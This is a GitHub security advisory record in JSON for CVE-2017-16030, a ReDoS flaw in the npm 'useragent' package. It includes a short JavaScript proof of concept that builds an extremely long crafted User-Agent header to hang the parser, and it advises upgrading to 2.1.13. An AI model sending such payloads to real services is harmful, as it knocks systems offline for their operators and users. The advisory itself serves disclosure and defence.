{
  "schema_version": "1.4.0",
  "id": "GHSA-pjmx-9xr3-82qr",
  "modified": "2023-09-06T20:07:59Z",
  "published": "2018-07-24T19:59:13Z",
  "aliases": [
    "CVE-2017-16030"
  ],
  "summary": "ReDoS via long UserAgent header in useragent",
  "details": "Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.",
  "severity": [],
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "useragent"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ]
        }
      ],
      "database_specific": {
        "last_known_affected_version_range": "<= 2.1.12"
      }
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16030"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pjmx-9xr3-82qr"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/312"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:49:26Z",
    "nvd_published_at": null
  }
}